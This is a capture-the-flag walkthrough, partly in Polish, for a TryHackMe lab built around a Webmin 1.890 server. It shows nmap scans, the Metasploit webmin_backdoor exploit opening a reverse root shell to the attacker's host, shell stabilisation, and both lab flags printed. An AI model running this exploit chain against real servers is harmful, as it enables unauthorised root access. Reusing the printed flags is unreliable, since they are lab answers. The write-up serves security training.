Source

https://tryhackme.com/room/source

Cel

- user.txt
- root.txt

Nmap Init

```
nmap -p- 10.10.137.97
```

```
Not shown: 65534 closed tcp ports (conn-refused)
PORT STATE SERVICE
10000/tcp open snet-sensor-mgmt
```

Nmap Full

```
nmap -sC -sV -p 10000 10.10.137.97
```

```
PORT STATE SERVICE VERSION
10000/tcp open http MiniServ 1.890 (Webmin httpd)
```

Metasploit

```
msf6 > search webmin

 6  exploit/linux/http/webmin_backdoor

msf6 > use 6

msf6 > info

msf6 exploit(linux/http/webmin_backdoor) > set RHOSTS 10.10.137.97
RHOSTS => 10.10.137.97
msf6 exploit(linux/http/webmin_backdoor) > set SSL true
[!] Changing the SSL option\'s value may require changing RPORT!
SSL => true
```

```
msf6 exploit(linux/http/webmin_backdoor) > run

[-] Msf::OptionValidateError The following options failed to validate: LHOST
[*] Exploit completed, but no session was created.
msf6 exploit(linux/http/webmin_backdoor) > set LHOST 10.11.83.56
LHOST => 10.11.83.56
msf6 exploit(linux/http/webmin_backdoor) > run

.
.
.

[*] Command shell session 1 opened (10.11.83.56:4444 -> 10.10.137.97:60030)
at 2022-09-22 17:51:51 -0400
```

- Stabilny shell - python3 -c 'import pty;pty.spawn("/bin/bash")'

```
python3 -c 'import pty;pty.spawn("/bin/bash")'
root@source:/usr/share/webmin/# pwd
pwd
/usr/share/webmin
root@source:/usr/share/webmin/# whoami
whoami
root
root@source:/usr/share/webmin/# id
id
uid=0(root) gid=0(root) groups=0(root)
root@source:/usr/share/webmin/#
```

user.txt

```

~~~root@source:/usr/share/webmin/# cd ..
cd ..
root@source:/usr/share# cd ..
cd ..
root@source:/usr# cd ..
cd ..
root@source:/# ls
ls
bin    etc            lib         mnt   run   swap.img  var
boot   home           lib64       opt   sbin  sys       vmlinuz
cdrom  initrd.img     lost+found  proc  snap  tmp       vmlinuz.old
```

```
dev    initrd.img.old  media       root  srv   usr       webmin-setup.out
root@source:/# cd user
cd user
bash: cd: user: No such file or directory
root@source:/# cd usr
cd usr
root@source:/usr# ls
ls
bin  games  include  lib  local  sbin  share  src
root@source:/usr# cd ..
cd ..
root@source:/# cd home
cd home
root@source:/home# ls
ls
dark
root@source:/home# cd dark
cd dark
root@source:/home/dark# ls
ls
user.txt  webmin_1.890_all.deb
root@source:/home/dark# cat user.txt
cat user.txt
THM{SUPPLY_CHAIN_COMPROMISE}
```

Flaga: **THM{SUPPLY_CHAIN_COMPROMISE}**

root.txt

```
root@source:/home/dark# cd /root
cd /root
root@source:~# ls
ls
root.txt
root@source:~# cat root.txt
cat root.txt
THM{UPDATE_YOUR_INSTALL}
```

Flaga: **THM{UPDATE_YOUR_INSTALL}**